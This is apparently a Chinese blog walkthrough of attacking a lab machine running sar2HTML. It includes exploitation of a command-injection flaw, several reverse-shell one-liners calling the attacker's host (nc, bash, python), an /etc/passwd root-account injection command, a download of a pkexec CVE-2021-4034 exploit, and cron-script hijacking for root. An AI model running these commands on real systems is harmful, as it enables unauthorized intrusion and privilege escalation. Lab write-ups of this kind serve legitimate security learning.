**写在前面:**记录博主的一次打靶经历。
目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.65.0/24
利用下面的命令进行全端口扫描。
$ sudo nmap -p- 192.168.65.219
利用下面的命令看看扫出的端口上运行着什么服务。
$ sudo nmap -p80 -A -sT -sV 192.168.65.219
又是2.4.29版本的Apache,目标靶机是Ubuntu。
通过浏览器查看,还是Ubuntu上默认的Apache2服务。直接目录枚举一下。
$ dirsearch -u http://192.168.65.219
$ dirb http://192.168.65.219 /usr/share/dirb/wordlists/big.txt -X .php
确实没有扫出更多内容,那就把扫出来的逐个看一下吧。发现除了phpinfo.php和robots.txt之外,没有任何信息,并且从phpinfo.php这个页面可以发现Ubuntu的版本是18.04.1的64位,内核应该是5.0.0.23-generic。
我们先看看robots.txt下面有些啥。
嗯,只有个sar2HTML,页面浏览器访问一下看看(说明:前面的地址是219,中间宿主机挂了,重启以后地址变成了230)。
貌似里面还是有些货的,不过不知道sar2HTML是个啥,先目录枚举一下http://192.168.65.230/sar2HTML下面有些啥。
额,貌似还有登录页面,进去看看。
不是真正的login页面,其实还是刚才的index页面,不过我们发现在index页面,点击右上角的New,貌似会打开一个上传文件的入口,可以上传文件(又是上传文件啊!)。
不过真正尝试上传文件的时候并没有反映。
算了,还是先上网搜搜看这个sar2HTML是个啥,有没有什么已知漏洞吧。
额,直接搜出来有远程指令执行的漏洞,并且跟我们的目标靶机的版本号是一致的;不过还是先打开第二条,看看这个sar2HTML是个啥吧。
嗯,貌似是个系统统计的可视化绘图工具。再回来看第一条的这个漏洞。
是ExploitDB的EXP介绍,貌似使用方法也比较简单,根据上图中的格式输入命令,然后点击右上角菜单中的Select Host,就会得到输入的命令的输出,我们试试看。
输入的命令如下图所示。
回车执行http请求之后,点击右侧的Select Host的下拉菜单,果真显示了id命令的输出,如下图所示。
试试看能不能直接构建一个反弹shell吧,这里可能需要将命令URL编码,先把命令改成whoami,然后用burp看一下请求。
用之前使用的站长工具对下面的反弹shell进行URL编码。
sh -i 2>&1 | nc 192.168.65.202 4444
URL编码后的内容如下。
sh%20-i%202%3E%261%20%7C%20nc%20192.168.65.202%204444
然后在kali上启动4444端口的监听,并在Repeater中替换原来的whoami发出请求试试看。
嗯,建立反弹shell失败,貌似是找不到串口设备什么的,不过终端还是有反应的。修改一下反弹shell如下。
/bin/bash -i 2>&1 | nc 192.168.65.202 4444
URL编码后重新试一下。
还是失败,问题还是出在反弹shell,修改成如下的样子。
/bin/bash -i 2>&1 | nc 192.168.65.202 4444 0>&1
URL编码后再试一下,一直没反应,后来发现是靶机挂了,重启一下(说明:这次靶机IP编程了65.234)。
还是无法建立,暂时放弃。再搜索一下公共EXP。
针对sar2HTML有两个远程代码执行的EXP,其中第一个就是我们刚刚尝试的plot,把两个EXP的代码都拷贝过来看一下。其实两个EXP描述的是同一个方法,python的代码比较简单,直接运行一下。
比较简单直接,我们看看其它的命令执行。
还挺好用的,就跟构建了反弹shell一样。既然有Python,我们尝试用python构建反弹shell试试。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.65.202",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
直接把上面这段代码拷贝进去运行。
没有执行,URL编码一下再执行试试看。
还是失败的,用tcp建立反弹也不成功,看来这条路得放弃了。
其实我一直有一个疑惑,就是之前我们找到的文件上传的入口,到底文件传到哪里去了
找了半天也没有找到,后来在网上(https://sourceforge.net/projects/sar2html/
)找到了sar2HTML的3.2.2版本的源代码,下载到本地查看一下。竟然在index.php的源代码中发现了上传文件的目录。
手工访问一下看看。
果真可以搜索到内容,估计我们的目录枚举的字典里面是没有sar相关的字典的。
上图中时间最近的应该就是我前面上传的php的payload(渗透bbs-cute时使用的文件头中有GIF8;的php反弹shell脚本)。先在本地建立监听,然后从网页访问一下试试看。竟然是空的,逐个目录看一下吧,最后找到我上传的php的payload在uPLOAD目录下。
从网页访问一下试试看。
这次感觉像是反弹成功了,不过还是显示了之前的那个“can’t access tty”,输入命令试试看。
嗯,确实是反弹成功了。
靶机系统是64位的Ubuntu 18.04.3,内核版本应该是5.0.0-23-generic。
个人感觉相对比较正常的用户就是root和love。下面看看是不是可以直接修改这个文件添加一个用户进去。
$ echo "testusr:$1$tLZbutZB$fTEL0ldFBYz7sTASmpXop.:0:0:root:/root:/bin/bash" >> /etc/passwd
这是不允许的。
先查看一下具备suid的二进制文件。
$ find / -perm -u=s -type f 2>/dev/null
还有挺多,直觉上感觉pkexec似曾相识,可能可以进行本地提权。直接google搜索“pkexec privilege escalation”,还真找到了(https://github.com/Almorabea/pkexec-exploit
)。找了一下历史记录,还真是,前面的bbs-cute打靶是,曾经尝试过这个用这个漏洞提权,直接把之前编译好的程序上传上来。
$ wget http://192.168.65.202/cve-2021-4034 -O /tmp/cve-2021-4034
运行一下试试看。
这个报错信息是漏洞修复后进行提权的报错信息。
额,在/var/www/html的目录下有个finally.sh的脚本,每5分钟运行一次,并且是sudo权限运行的。并且因为脚本在/var/www/html下,我们当前的www-data用户很有可能是可以直接编辑修改这个脚本的。
其实到这个目录下,发现除了finally.sh之外,还有个write.sh脚本也是值得怀疑的。我们还是先看看finally.sh脚本。
太有意思了,这个脚本的任务就是运行write.sh脚本,write.sh脚本的属主又是当前用户,基本上可以确定提权了。来看一下write.sh脚本。
非常简单,直接在前面插入我们要执行的内容。我们直接插入一个反弹shell,如下图。
在kali主机的8888端口上建立监听,等待5分钟。
结果等了半天一直没有反映,重新修改反弹shell,修改write.sh文件,如下图所示。
仍然是等半天没有反映。回想前面建立反弹shell尝试突破边界时,也是通过tcp和python建立反弹不成功,可能是同样的原因。在这里切换成运行我们前面上传的payload.php试试看。先搜索一下。
然后修改write.sh脚本如下图所示。
重新开始监听4444端口。
这次重新建立了反弹,应该是提权成功。